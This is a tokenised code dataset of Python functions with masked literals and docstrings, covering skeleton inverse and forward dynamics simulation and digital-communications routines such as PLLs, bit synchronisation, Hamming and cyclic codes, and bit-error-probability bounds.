{"signature": "def inverse_kinematics(self, start=<NUM_LIT:0>, end=<NUM_LIT>, states=None, max_force=<NUM_LIT:20>):", "body": "zeros = None<EOL>if max_force > <NUM_LIT:0>:<EOL><INDENT>self.skeleton.enable_motors(max_force)<EOL>zeros = np.zeros(self.skeleton.num_dofs)<EOL><DEDENT>for _ in self.follow_markers(start, end, states):<EOL><INDENT>if zeros is not None:<EOL><INDENT>self.skeleton.set_target_angles(zeros)<EOL><DEDENT>yield self.skeleton.joint_angles<EOL><DEDENT>", "docstring": "Follow a set of marker data, yielding kinematic joint angles.\n\n        Parameters\n        ----------\n        start : int, optional\n            Start following marker data after this frame. Defaults to 0.\n        end : int, optional\n            Stop following marker data after this frame. Defaults to the end of\n            the marker data.\n        states : list of body states, optional\n            If given, set the states of the skeleton bodies to these values\n            before starting to follow the marker data.\n        max_force : float, optional\n            Allow each degree of freedom in the skeleton to exert at most this\n            force when attempting to maintain its equilibrium position. This\n            defaults to 20N. Set this value higher to simulate a stiff skeleton\n            while following marker data.\n\n        Returns\n        -------\n        angles : sequence of angle frames\n            Returns a generator of joint angle data for the skeleton. One set of\n            joint angles will be generated for each frame of marker data between\n            `start` and `end`.", "id": "f14892:c1:m7"}
{"signature": "def inverse_dynamics(self, angles, start=<NUM_LIT:0>, end=<NUM_LIT>, states=None, max_force=<NUM_LIT:100>):", "body": "if states is not None:<EOL><INDENT>self.skeleton.set_body_states(states)<EOL><DEDENT>for frame_no, frame in enumerate(angles):<EOL><INDENT>if frame_no < start:<EOL><INDENT>continue<EOL><DEDENT>if frame_no >= end:<EOL><INDENT>break<EOL><DEDENT>self.ode_space.collide(None, self.on_collision)<EOL>states = self.skeleton.get_body_states()<EOL>self.skeleton.set_body_states(states)<EOL>self.skeleton.enable_motors(max_force)<EOL>self.skeleton.set_target_angles(angles[frame_no])<EOL>self.ode_world.step(self.dt)<EOL>torques = self.skeleton.joint_torques<EOL>self.skeleton.disable_motors()<EOL>self.skeleton.set_body_states(states)<EOL>self.skeleton.add_torques(torques)<EOL>yield torques<EOL>self.ode_world.step(self.dt)<EOL>self.ode_contactgroup.empty()<EOL><DEDENT>", "docstring": "Follow a set of angle data, yielding dynamic joint torques.\n\n        Parameters\n        ----------\n        angles : ndarray (num-frames x num-dofs)\n            Follow angle data provided by this array of angle values.\n        start : int, optional\n            Start following angle data after this frame. Defaults to the start\n            of the angle data.\n        end : int, optional\n            Stop following angle data after this frame. Defaults to the end of\n            the angle data.\n        states : list of body states, optional\n            If given, set the states of the skeleton bodies to these values\n            before starting to follow the marker data.\n        max_force : float, optional\n            Allow each degree of freedom in the skeleton to exert at most this\n            force when attempting to follow the given joint angles. Defaults to\n            100N. Setting this value to be large results in more accurate\n            following but can cause oscillations in the PID controllers,\n            resulting in noisy torques.\n\n        Returns\n        -------\n        torques : sequence of torque frames\n            Returns a generator of joint torque data for the skeleton. One set\n            of joint torques will be generated for each frame of angle data\n            between `start` and `end`.", "id": "f14892:c1:m8"}
{"signature": "def forward_dynamics(self, torques, start=<NUM_LIT:0>, states=None):", "body": "if states is not None:<EOL><INDENT>self.skeleton.set_body_states(states)<EOL><DEDENT>for frame_no, torque in enumerate(torques):<EOL><INDENT>if frame_no < start:<EOL><INDENT>continue<EOL><DEDENT>if frame_no >= end:<EOL><INDENT>break<EOL><DEDENT>self.ode_space.collide(None, self.on_collision)<EOL>self.skeleton.add_torques(torque)<EOL>self.ode_world.step(self.dt)<EOL>yield<EOL>self.ode_contactgroup.empty()<EOL><DEDENT>", "docstring": "Move the body according to a set of torque data.", "id": "f14892:c1:m9"}
{"signature": "def discrim(x):", "body": "X=np.real(x)        <EOL>Y=np.imag(x)        <EOL>b=np.array([<NUM_LIT:1>, -<NUM_LIT:1>]) <EOL>a=np.array([<NUM_LIT:1>, <NUM_LIT:0>])  <EOL>derY=signal.lfilter(b,a,Y)  <EOL>derX=signal.lfilter(b,a,X)  <EOL>disdata=(X*derY-Y*derX)/(X**<NUM_LIT:2>+Y**<NUM_LIT:2>)<EOL>return disdata<EOL>", "docstring": "function disdata = discrim(x)\nwhere x is an angle modulated signal in complex baseband form.\n\nMark Wickert", "id": "f14895:m1"}
{"signature": "def pilot_PLL(xr,fq,fs,loop_type,Bn,zeta):", "body": "T = <NUM_LIT:1>/float(fs)<EOL>Kv = <NUM_LIT:1.0><EOL>Norder = <NUM_LIT:5><EOL>b_lp,a_lp = signal.butter(Norder,<NUM_LIT:2>*(fq/<NUM_LIT>)/float(fs))<EOL>fstate = np.zeros(Norder) <EOL>Kv = <NUM_LIT:2>*np.pi*Kv <EOL>if loop_type == <NUM_LIT:1>:<EOL><INDENT>fn = Bn<EOL>Kt = <NUM_LIT:2>*np.pi*fn <EOL><DEDENT>elif loop_type == <NUM_LIT:2>:<EOL><INDENT>fn = <NUM_LIT:1>/(<NUM_LIT:2>*np.pi)*<NUM_LIT:2>*Bn/(zeta + <NUM_LIT:1>/(<NUM_LIT:4>*zeta)) <EOL>Kt = <NUM_LIT:4>*np.pi*zeta*fn <EOL>a = np.pi*fn/zeta<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>filt_in_last = <NUM_LIT:0><EOL>filt_out_last = <NUM_LIT:0><EOL>vco_in_last = <NUM_LIT:0><EOL>vco_out = <NUM_LIT:0><EOL>vco_out_last = <NUM_LIT:0><EOL>n = np.arange(<NUM_LIT:0>,len(xr))<EOL>theta = np.zeros(len(xr))<EOL>ev = np.zeros(len(xr))<EOL>phi_error = np.zeros(len(xr))<EOL>for kk in range(len(n)):<EOL><INDENT>phi_error[kk] = <NUM_LIT:2>*xr[kk]*np.sin(vco_out)<EOL>phi_error[kk],fstate = signal.lfilter(b_lp,a_lp,np.array([phi_error[kk]]),zi=fstate)<EOL>pd_out = phi_error[kk]<EOL>gain_out = Kt/Kv*pd_out <EOL>if loop_type == <NUM_LIT:2>:<EOL><INDENT>filt_in = a*gain_out<EOL>filt_out = filt_out_last + T/<NUM_LIT>*(filt_in + filt_in_last)<EOL>filt_in_last = filt_in<EOL>filt_out_last = filt_out<EOL>filt_out = filt_out + gain_out<EOL><DEDENT>else:<EOL><INDENT>filt_out = gain_out<EOL><DEDENT>vco_in = filt_out + fq/(Kv/(<NUM_LIT:2>*np.pi)) <EOL>vco_out = vco_out_last + T/<NUM_LIT>*(vco_in + vco_in_last)<EOL>vco_in_last = vco_in<EOL>vco_out_last = vco_out<EOL>vco_out = Kv*vco_out <EOL>ev[kk] = filt_out<EOL>theta[kk] = np.mod(vco_out,<NUM_LIT:2>*np.pi); <EOL><DEDENT>return theta,phi_error<EOL>", "docstring": "theta, phi_error = pilot_PLL(xr,fq,fs,loop_type,Bn,zeta)\n\nMark Wickert, April 2014", "id": "f14895:m5"}
{"signature": "def sccs_bit_sync(y,Ns):", "body": "<EOL>rx_symb_d = np.zeros(int(np.fix(len(y)/Ns)))<EOL>track = np.zeros(int(np.fix(len(y)/Ns)))<EOL>bit_count = -<NUM_LIT:1><EOL>y_abs = np.zeros(len(y))<EOL>clk = np.zeros(len(y))<EOL>k = Ns+<NUM_LIT:1> <EOL>for i in range(len(y)):<EOL><INDENT>if i >= Ns: <EOL><INDENT>y_abs[i] = np.abs(np.sum(y[i-Ns+<NUM_LIT:1>:i+<NUM_LIT:1>]))<EOL>if (k == <NUM_LIT:0>):<EOL><INDENT>w_hat = y_abs[i-<NUM_LIT:2>:i+<NUM_LIT:1>]<EOL>bit_count += <NUM_LIT:1><EOL>if w_hat[<NUM_LIT:1>] != <NUM_LIT:0>:<EOL><INDENT>if w_hat[<NUM_LIT:0>] < w_hat[<NUM_LIT:2>]:<EOL><INDENT>k = Ns-<NUM_LIT:1><EOL>clk[i-<NUM_LIT:2>] = <NUM_LIT:1><EOL>rx_symb_d[bit_count] = y[i-<NUM_LIT:2>-int(np.round(Ns/<NUM_LIT:2>))-<NUM_LIT:1>]<EOL><DEDENT>elif w_hat[<NUM_LIT:0>] > w_hat[<NUM_LIT:2>]:<EOL><INDENT>k = Ns+<NUM_LIT:1><EOL>clk[i] = <NUM_LIT:1><EOL>rx_symb_d[bit_count] = y[i-int(np.round(Ns/<NUM_LIT:2>))-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>k = Ns<EOL>clk[i-<NUM_LIT:1>] = <NUM_LIT:1><EOL>rx_symb_d[bit_count] = y[i-<NUM_LIT:1>-int(np.round(Ns/<NUM_LIT:2>))-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>k = Ns<EOL>clk[i-<NUM_LIT:1>] = <NUM_LIT:1><EOL>rx_symb_d[bit_count] = y[i-<NUM_LIT:1>-int(np.round(Ns/<NUM_LIT:2>))]<EOL><DEDENT>track[bit_count] = np.mod(i,Ns)<EOL><DEDENT><DEDENT>k -= <NUM_LIT:1><EOL><DEDENT>rx_symb_d = rx_symb_d[:bit_count]<EOL>return rx_symb_d, clk, track<EOL>", "docstring": "rx_symb_d,clk,track = sccs_bit_sync(y,Ns)\n\n//////////////////////////////////////////////////////\n Symbol synchronization algorithm using SCCS\n//////////////////////////////////////////////////////\n     y = baseband NRZ data waveform\n    Ns = nominal number of samples per symbol\n\nReworked from ECE 5675 Project\nTranslated from m-code version\nMark Wickert April 2014", "id": "f14895:m6"}
{"signature": "def fsk_BEP(rx_data,m,flip):", "body": "Nbits = len(rx_data)<EOL>c = dc.m_seq(m)<EOL>if flip == <NUM_LIT:1>:<EOL><INDENT>c.shape = (<NUM_LIT:1>,len(c))<EOL>c = np.fliplr(c).flatten()<EOL><DEDENT>L = int(np.ceil(Nbits/float(len(c))))<EOL>tx_data = np.dot(c.reshape(len(c),<NUM_LIT:1>),np.ones((<NUM_LIT:1>,L)))<EOL>tx_data = tx_data.T.reshape((<NUM_LIT:1>,len(c)*L)).flatten()<EOL>tx_data = tx_data[:Nbits]<EOL>tx_data = <NUM_LIT:2>*tx_data - <NUM_LIT:1><EOL>Bit_count,Bit_errors = dc.BPSK_BEP(rx_data,tx_data)<EOL>print('<STR_LIT>' % (len(rx_data),len(tx_data)))<EOL>Pe = Bit_errors/float(Bit_count)<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>' % Bit_errors)<EOL>print('<STR_LIT>' % Bit_count)<EOL>print('<STR_LIT>' % Pe)<EOL>print('<STR_LIT>')<EOL>", "docstring": "fsk_BEP(rx_data,m,flip)\n\nEstimate the BEP of the data bits recovered\nby the RTL-SDR Based FSK Receiver.\n\nThe reference m-sequence generated in Python\nwas found to produce sequences running in the opposite\ndirection relative to the m-sequences generated by the\nmbed. To allow error detection the reference m-sequence\nis flipped.\n\nMark Wickert April 2014", "id": "f14895:m7"}
{"signature": "def complex2wav(filename,rate,x):", "body": "x_wav = np.hstack((np.array([x.real]).T,np.array([x.imag]).T))<EOL>ss.to_wav(filename, rate, x_wav)<EOL>print('<STR_LIT>')<EOL>", "docstring": "Save a complex signal vector to a wav file for compact binary\nstorage of 16-bit signal samples. The wav left and right channels\nare used to save real (I) and imaginary (Q) values. The rate is\njust a convent way of documenting the original signal sample rate.\n\ncomplex2wav(filename,rate,x)\n\nMark Wickert April 2014", "id": "f14895:m9"}
{"signature": "def wav2complex(filename):", "body": "fs, x_LR_cols = ss.from_wav(filename)<EOL>x = x_LR_cols[:,<NUM_LIT:0>] + <NUM_LIT>*x_LR_cols[:,<NUM_LIT:1>]<EOL>return fs,x<EOL>", "docstring": "Return a complex signal vector from a wav file that was used to store\nthe real (I) and imaginary (Q) values of a complex signal ndarray. \nThe rate is included as means of recalling the original signal sample \nrate.\n\nfs,x = wav2complex(filename)\n\nMark Wickert April 2014", "id": "f14895:m10"}
{"signature": "def ser2ber(q,n,d,t,ps):", "body": "lnps = len(ps) <EOL>ber = np.zeros(lnps) <EOL>for k in range(<NUM_LIT:0>,lnps): <EOL><INDENT>ser = ps[k] <EOL>sum1 = <NUM_LIT:0> <EOL>sum2 = <NUM_LIT:0><EOL>for i in range(t+<NUM_LIT:1>,d+<NUM_LIT:1>):<EOL><INDENT>term = special.comb(n,i)*(ser**i)*((<NUM_LIT:1>-ser))**(n-i)<EOL>sum1 = sum1 + term<EOL><DEDENT>for i in range(d+<NUM_LIT:1>,n+<NUM_LIT:1>):<EOL><INDENT>term = (i)*special.comb(n,i)*(ser**i)*((<NUM_LIT:1>-ser)**(n-i))<EOL>sum2 = sum2+term<EOL><DEDENT>ber[k] = (q/(<NUM_LIT:2>*(q-<NUM_LIT:1>)))*((d/n)*sum1+(<NUM_LIT:1>/n)*sum2)<EOL><DEDENT>return ber<EOL>", "docstring": "Converts symbol error rate to bit error rate. Taken from Ziemer and\nTranter page 650. Necessary when comparing different types of block codes.\n\nparameters\n----------  \nq: size of the code alphabet for given modulation type (BPSK=2)\nn: number of channel bits\nd: distance (2e+1) where e is the number of correctable errors per code word.\n   For hamming codes, e=1, so d=3.\nt: number of correctable errors per code word\nps: symbol error probability vector\n\nreturns\n-------\nber: bit error rate", "id": "f14896:m0"}
{"signature": "def block_single_error_Pb_bound(j,SNRdB,coded=True,M=<NUM_LIT:2>):", "body": "Pb = np.zeros_like(SNRdB)<EOL>Ps = np.zeros_like(SNRdB)<EOL>SNR = <NUM_LIT>**(SNRdB/<NUM_LIT>)<EOL>n = <NUM_LIT:2>**j-<NUM_LIT:1><EOL>k = n-j<EOL>for i,SNRn in enumerate(SNR):<EOL><INDENT>if coded: <EOL><INDENT>if M == <NUM_LIT:2>:<EOL><INDENT>Ps[i] = Q_fctn(np.sqrt(k*<NUM_LIT>*SNRn/n))<EOL><DEDENT>else:<EOL><INDENT>Ps[i] = <NUM_LIT>/np.log2(M)*(<NUM_LIT:1> - <NUM_LIT:1>/np.sqrt(M))*np.gaussQ(np.sqrt(<NUM_LIT:3>*np.log2(M)/(M-<NUM_LIT:1>)*SNRn))/k<EOL><DEDENT><DEDENT>else: <EOL><INDENT>if M == <NUM_LIT:2>:<EOL><INDENT>Pb[i] = Q_fctn(np.sqrt(<NUM_LIT>*SNRn))<EOL><DEDENT>else:<EOL><INDENT>Pb[i] = <NUM_LIT>/np.log2(M)*(<NUM_LIT:1> - <NUM_LIT:1>/np.sqrt(M))*np.gaussQ(np.sqrt(<NUM_LIT:3>*np.log2(M)/(M-<NUM_LIT:1>)*SNRn))<EOL><DEDENT><DEDENT><DEDENT>if coded:<EOL><INDENT>Pb = ser2ber(M,n,<NUM_LIT:3>,<NUM_LIT:1>,Ps)<EOL><DEDENT>return Pb<EOL>", "docstring": "Finds the bit error probability bounds according to Ziemer and Tranter \npage 656.\n\nparameters:\n-----------\nj: number of parity bits used in single error correction block code\nSNRdB: Eb/N0 values in dB\ncoded: Select single error correction code (True) or uncoded (False)\nM: modulation order\n\nreturns:\n--------\nPb: bit error probability bound", "id": "f14896:m1"}
{"signature": "def hamm_gen(self,j):", "body": "if(j < <NUM_LIT:3>):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>n = <NUM_LIT:2>**j-<NUM_LIT:1><EOL>k = n-j<EOL>G = np.zeros((k,n),dtype=int)<EOL>H = np.zeros((j,n),dtype=int)<EOL>P = np.zeros((j,k),dtype=int)<EOL>R = np.zeros((k,n),dtype=int)<EOL>for i in range(<NUM_LIT:1>,n+<NUM_LIT:1>):<EOL><INDENT>b = list(binary(i,j))<EOL>for m in range(<NUM_LIT:0>,len(b)):<EOL><INDENT>b[m] = int(b[m])<EOL><DEDENT>H[:,i-<NUM_LIT:1>] = np.array(b)<EOL><DEDENT>H1 = np.zeros((<NUM_LIT:1>,j),dtype=int)<EOL>H2 = np.zeros((<NUM_LIT:1>,j),dtype=int)<EOL>for i in range(<NUM_LIT:0>,j):<EOL><INDENT>idx1 = <NUM_LIT:2>**i-<NUM_LIT:1><EOL>idx2 = n-i-<NUM_LIT:1><EOL>H1[<NUM_LIT:0>,:] = H[:,idx1]<EOL>H2[<NUM_LIT:0>,:] = H[:,idx2]<EOL>H[:,idx1] = H2<EOL>H[:,idx2] = H1<EOL><DEDENT>P = H[:,:k]<EOL>G[:,:k] = np.diag(np.ones(k))<EOL>G[:,k:] = P.T<EOL>R[:,:k] = np.diag(np.ones(k))<EOL>return G, H, R, n, k<EOL>", "docstring": "Generates parity check matrix (H) and generator\nmatrix (G). \n\nParameters\n----------\nj: Number of Hamming code parity bits with n = 2^j-1 and k = n-j\n\nreturns\n-------\nG: Systematic generator matrix with left-side identity matrix\nH: Systematic parity-check matrix with right-side identity matrix\nR: k x k identity matrix\nn: number of total bits/block\nk: number of source bits/block\n\nAndrew Smit November 2018", "id": "f14896:c0:m1"}
{"signature": "def hamm_encoder(self,x):", "body": "if(np.dtype(x[<NUM_LIT:0>]) != int):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if(len(x) % self.k or len(x) < self.k):<EOL><INDENT>raise ValueError('<STR_LIT>' %self.k)<EOL><DEDENT>N_symbols = int(len(x)/self.k)<EOL>codewords = np.zeros(N_symbols*self.n)<EOL>x = np.reshape(x,(<NUM_LIT:1>,len(x)))<EOL>for i in range(<NUM_LIT:0>,N_symbols):<EOL><INDENT>codewords[i*self.n:(i+<NUM_LIT:1>)*self.n] = np.matmul(x[:,i*self.k:(i+<NUM_LIT:1>)*self.k],self.G)%<NUM_LIT:2><EOL><DEDENT>return codewords<EOL>", "docstring": "Encodes input bit array x using hamming block code.\n\nparameters\n----------\nx: array of source bits to be encoded by block encoder.\n\nreturns\n-------\ncodewords: array of code words generated by generator\nmatrix G and input x.\n\nAndrew Smit November 2018", "id": "f14896:c0:m2"}
{"signature": "def hamm_decoder(self,codewords):", "body": "if(np.dtype(codewords[<NUM_LIT:0>]) != int):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if(len(codewords) % self.n or len(codewords) < self.n):<EOL><INDENT>raise ValueError('<STR_LIT>' %self.n)<EOL><DEDENT>N_symbols = int(len(codewords)/self.n)<EOL>decoded_bits = np.zeros(N_symbols*self.k)<EOL>codewords = np.reshape(codewords,(<NUM_LIT:1>,len(codewords)))<EOL>for i in range(<NUM_LIT:0>,N_symbols):<EOL><INDENT>S = np.matmul(self.H,codewords[:,i*self.n:(i+<NUM_LIT:1>)*self.n].T) % <NUM_LIT:2><EOL>bits = '<STR_LIT>'<EOL>for m in range(<NUM_LIT:0>,len(S)):<EOL><INDENT>bit = str(int(S[m,:]))<EOL>bits = bits + bit<EOL><DEDENT>error_pos = int(bits,<NUM_LIT:2>)<EOL>h_pos = self.H[:,error_pos-<NUM_LIT:1>]<EOL>bits = '<STR_LIT>'<EOL>for m in range(<NUM_LIT:0>,len(S)):<EOL><INDENT>bit = str(int(h_pos[m]))<EOL>bits = bits + bit<EOL><DEDENT>decoded_pos = int(bits,<NUM_LIT:2>)-<NUM_LIT:1><EOL>if(error_pos):<EOL><INDENT>codewords[:,i*self.n+decoded_pos] = (codewords[:,i*self.n+decoded_pos] + <NUM_LIT:1>) % <NUM_LIT:2><EOL><DEDENT>decoded_bits[i*self.k:(i+<NUM_LIT:1>)*self.k] = np.matmul(self.R,codewords[:,i*self.n:(i+<NUM_LIT:1>)*self.n].T).T % <NUM_LIT:2><EOL><DEDENT>return decoded_bits.astype(int)<EOL>", "docstring": "Decode hamming encoded codewords. Make sure code words are of\nthe appropriate length for the object.\n\nparameters\n---------\ncodewords: bit array of codewords \n\nreturns\n-------\ndecoded_bits: bit array of decoded source bits\n\nAndrew Smit November 2018", "id": "f14896:c0:m3"}
{"signature": "def cyclic_encoder(self,x,G='<STR_LIT>'):", "body": "<EOL>if(len(x) % self.k or len(x) < self.k):<EOL><INDENT>raise ValueError('<STR_LIT>' %self.k)<EOL><DEDENT>if(np.dtype(x[<NUM_LIT:0>]) != int):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>Num_blocks = int(len(x) / self.k)<EOL>codewords = np.zeros((Num_blocks,self.n),dtype=int)<EOL>x = np.reshape(x,(Num_blocks,self.k))<EOL>for p in range(Num_blocks):<EOL><INDENT>S = np.zeros(len(self.G))<EOL>codeword = np.zeros(self.n)<EOL>current_block = x[p,:]<EOL>for i in range(<NUM_LIT:0>,self.n):<EOL><INDENT>if(i < self.k):<EOL><INDENT>S[<NUM_LIT:0>] = current_block[i]<EOL>S0temp = <NUM_LIT:0><EOL>for m in range(<NUM_LIT:0>,len(self.G)):<EOL><INDENT>if(self.G[m] == '<STR_LIT:1>'):<EOL><INDENT>S0temp = S0temp + S[m]<EOL><DEDENT><DEDENT>S0temp = S0temp % <NUM_LIT:2><EOL>S = np.roll(S,<NUM_LIT:1>)<EOL>codeword[i] = current_block[i]<EOL>S[<NUM_LIT:1>] = S0temp<EOL><DEDENT>else:<EOL><INDENT>out = <NUM_LIT:0><EOL>for m in range(<NUM_LIT:1>,len(self.G)):<EOL><INDENT>if(self.G[m] == '<STR_LIT:1>'):<EOL><INDENT>out = out + S[m]<EOL><DEDENT><DEDENT>codeword[i] = out % <NUM_LIT:2><EOL>S = np.roll(S,<NUM_LIT:1>)<EOL>S[<NUM_LIT:1>] = <NUM_LIT:0><EOL><DEDENT><DEDENT>codewords[p,:] = codeword<EOL><DEDENT>codewords = np.reshape(codewords,np.size(codewords))<EOL>return codewords.astype(int)<EOL>", "docstring": "Encodes input bit array x using cyclic block code.\n\nparameters\n----------\nx: vector of source bits to be encoded by block encoder. Numpy array\n   of integers expected.\n\nreturns\n-------\ncodewords: vector of code words generated from input vector\n\nAndrew Smit November 2018", "id": "f14896:c1:m1"}
{"signature": "def cyclic_decoder(self,codewords):", "body": "<EOL>if(len(codewords) % self.n or len(codewords) < self.n):<EOL><INDENT>raise ValueError('<STR_LIT>' %self.n)<EOL><DEDENT>if(np.dtype(codewords[<NUM_LIT:0>]) != int):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>Num_blocks = int(len(codewords) / self.n)<EOL>decoded_blocks = np.zeros((Num_blocks,self.k),dtype=int)<EOL>codewords = np.reshape(codewords,(Num_blocks,self.n))<EOL>for p in range(Num_blocks):<EOL><INDENT>codeword = codewords[p,:]<EOL>Ureg = np.zeros(self.n)<EOL>S = np.zeros(len(self.G))<EOL>decoded_bits = np.zeros(self.k)<EOL>output = np.zeros(self.n)<EOL>for i in range(<NUM_LIT:0>,self.n): <EOL><INDENT>Ureg = np.roll(Ureg,<NUM_LIT:1>)<EOL>Ureg[<NUM_LIT:0>] = codeword[i]<EOL>S0temp = <NUM_LIT:0><EOL>S[<NUM_LIT:0>] = codeword[i]<EOL>for m in range(len(self.G)):<EOL><INDENT>if(self.G[m] == '<STR_LIT:1>'):<EOL><INDENT>S0temp = S0temp + S[m]<EOL><DEDENT><DEDENT>S0 = S<EOL>S = np.roll(S,<NUM_LIT:1>)<EOL>S[<NUM_LIT:1>] = S0temp % <NUM_LIT:2><EOL><DEDENT>for i in range(<NUM_LIT:0>,self.n): <EOL><INDENT>Stemp = <NUM_LIT:0><EOL>for m in range(<NUM_LIT:1>,len(self.G)):<EOL><INDENT>if(self.G[m] == '<STR_LIT:1>'):<EOL><INDENT>Stemp = Stemp + S[m]<EOL><DEDENT><DEDENT>S = np.roll(S,<NUM_LIT:1>)<EOL>S[<NUM_LIT:1>] = Stemp % <NUM_LIT:2><EOL>and_out = <NUM_LIT:1><EOL>for m in range(<NUM_LIT:1>,len(self.G)):<EOL><INDENT>if(m > <NUM_LIT:1>):<EOL><INDENT>and_out = and_out and ((S[m]+<NUM_LIT:1>) % <NUM_LIT:2>)<EOL><DEDENT>else:<EOL><INDENT>and_out = and_out and S[m]<EOL><DEDENT><DEDENT>output[i] = (and_out + Ureg[len(Ureg)-<NUM_LIT:1>]) % <NUM_LIT:2><EOL>Ureg = np.roll(Ureg,<NUM_LIT:1>)<EOL>Ureg[<NUM_LIT:0>] = <NUM_LIT:0><EOL><DEDENT>decoded_bits = output[<NUM_LIT:0>:self.k].astype(int)<EOL>decoded_blocks[p,:] = decoded_bits<EOL><DEDENT>return np.reshape(decoded_blocks,np.size(decoded_blocks)).astype(int)<EOL>", "docstring": "Decodes a vector of cyclic coded codewords.\n\nparameters\n----------\ncodewords: vector of codewords to be decoded. Numpy array of integers expected.\n\nreturns\n-------\ndecoded_blocks: vector of decoded bits\n\nAndrew Smit November 2018", "id": "f14896:c1:m2"}
{"signature": "def binary(num, length=<NUM_LIT:8>):", "body": "return format(num, '<STR_LIT>'.format(length))<EOL>", "docstring": "Format an integer to binary without the leading '0b'", "id": "f14897:m0"}
{"signature": "def conv_Pb_bound(R,dfree,Ck,SNRdB,hard_soft,M=<NUM_LIT:2>):", "body": "Pb = np.zeros_like(SNRdB)<EOL>SNR = <NUM_LIT>**(SNRdB/<NUM_LIT>)<EOL>for n,SNRn in enumerate(SNR):<EOL><INDENT>for k in range(dfree,len(Ck)+dfree):<EOL><INDENT>if hard_soft == <NUM_LIT:0>: <EOL><INDENT>Pb[n] += Ck[k-dfree]*hard_Pk(k,R,SNRn,M)<EOL><DEDENT>elif hard_soft == <NUM_LIT:1>: <EOL><INDENT>Pb[n] += Ck[k-dfree]*soft_Pk(k,R,SNRn,M)<EOL><DEDENT>else: <EOL><INDENT>if M == <NUM_LIT:2>:<EOL><INDENT>Pb[n] = Q_fctn(np.sqrt(<NUM_LIT>*SNRn))<EOL><DEDENT>else:<EOL><INDENT>Pb[n] = <NUM_LIT>/np.log2(M)*(<NUM_LIT:1> - <NUM_LIT:1>/np.sqrt(M))*np.gaussQ(np.sqrt(<NUM_LIT:3>*np.log2(M)/(M-<NUM_LIT:1>)*SNRn));<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return Pb<EOL>", "docstring": "Coded bit error probabilty\n\nConvolution coding bit error probability upper bound\naccording to Ziemer & Peterson 7-16, p. 507\n\nMark Wickert November 2014\n\nParameters\n----------\nR: Code rate\ndfree: Free distance of the code\nCk: Weight coefficient\nSNRdB: Signal to noise ratio in dB\nhard_soft: 0 hard, 1 soft, 2 uncoded\nM: M-ary\n\nExamples\n--------\n>>> import numpy as np\n>>> from sk_dsp_comm import fec_conv as fec\n>>> import matplotlib.pyplot as plt\n>>> SNRdB = np.arange(2,12,.1)\n>>> Pb = fec.conv_Pb_bound(1./2,10,[36, 0, 211, 0, 1404, 0, 11633],SNRdB,2)\n>>> Pb_1_2 = fec.conv_Pb_bound(1./2,10,[36, 0, 211, 0, 1404, 0, 11633],SNRdB,1)\n>>> Pb_3_4 = fec.conv_Pb_bound(3./4,4,[164, 0, 5200, 0, 151211, 0, 3988108],SNRdB,1)\n>>> plt.semilogy(SNRdB,Pb)\n>>> plt.semilogy(SNRdB,Pb_1_2)\n>>> plt.semilogy(SNRdB,Pb_3_4)\n>>> plt.axis([2,12,1e-7,1e0])\n>>> plt.xlabel(r'$E_b/N_0$ (dB)')\n>>> plt.ylabel(r'Symbol Error Probability')\n>>> plt.legend(('Uncoded BPSK','R=1/2, K=7, Soft','R=3/4 (punc), K=7, Soft'),loc='best')\n>>> plt.grid();\n>>> plt.show()\n\nNotes\n-----\nThe code rate R is given by :math:`R_{s} = \\\\frac{k}{n}`.\nMark Wickert and Andrew Smit 2018", "id": "f14897:m1"}
{"signature": "def hard_Pk(k,R,SNR,M=<NUM_LIT:2>):", "body": "k = int(k)<EOL>if M == <NUM_LIT:2>:<EOL><INDENT>p = Q_fctn(np.sqrt(<NUM_LIT>*R*SNR))<EOL><DEDENT>else:<EOL><INDENT>p = <NUM_LIT>/np.log2(M)*(<NUM_LIT:1> - <NUM_LIT:1.>/np.sqrt(M))*Q_fctn(np.sqrt(<NUM_LIT:3>*R*np.log2(M)/float(M-<NUM_LIT:1>)*SNR))<EOL><DEDENT>Pk = <NUM_LIT:0><EOL>if np.mod(k,<NUM_LIT:2>) == <NUM_LIT:0>:<EOL><INDENT>for e in range(int(k/<NUM_LIT:2>+<NUM_LIT:1>),int(k+<NUM_LIT:1>)):<EOL><INDENT>Pk += float(factorial(k))/(factorial(e)*factorial(k-e))*p**e*(<NUM_LIT:1>-p)**(k-e);<EOL><DEDENT>Pk += <NUM_LIT:1.>/<NUM_LIT:2>*float(factorial(k))/(factorial(int(k/<NUM_LIT:2>))*factorial(int(k-k/<NUM_LIT:2>)))*p**(k/<NUM_LIT:2>)*(<NUM_LIT:1>-p)**(k/<NUM_LIT:2>);<EOL><DEDENT>elif np.mod(k,<NUM_LIT:2>) == <NUM_LIT:1>:<EOL><INDENT>for e in range(int((k+<NUM_LIT:1>)//<NUM_LIT:2>),int(k+<NUM_LIT:1>)):<EOL><INDENT>Pk += factorial(k)/(factorial(e)*factorial(k-e))*p**e*(<NUM_LIT:1>-p)**(k-e);<EOL><DEDENT><DEDENT>return Pk<EOL>", "docstring": "Pk = hard_Pk(k,R,SNR)\n\nCalculates Pk as found in Ziemer & Peterson eq. 7-12, p.505\n\nMark Wickert and Andrew Smit 2018", "id": "f14897:m2"}
{"signature": "def soft_Pk(k,R,SNR,M=<NUM_LIT:2>):", "body": "if M == <NUM_LIT:2>:<EOL><INDENT>Pk = Q_fctn(np.sqrt(<NUM_LIT>*k*R*SNR))<EOL><DEDENT>else:<EOL><INDENT>Pk = <NUM_LIT>/np.log2(M)*(<NUM_LIT:1> - <NUM_LIT:1.>/np.sqrt(M))*Q_fctn(np.sqrt(<NUM_LIT:3>*k*R*np.log2(M)/float(M-<NUM_LIT:1>)*SNR))<EOL><DEDENT>return Pk<EOL>", "docstring": "Pk = soft_Pk(k,R,SNR)\n\nCalculates Pk as found in Ziemer & Peterson eq. 7-13, p.505\n\nMark Wickert November 2014", "id": "f14897:m3"}
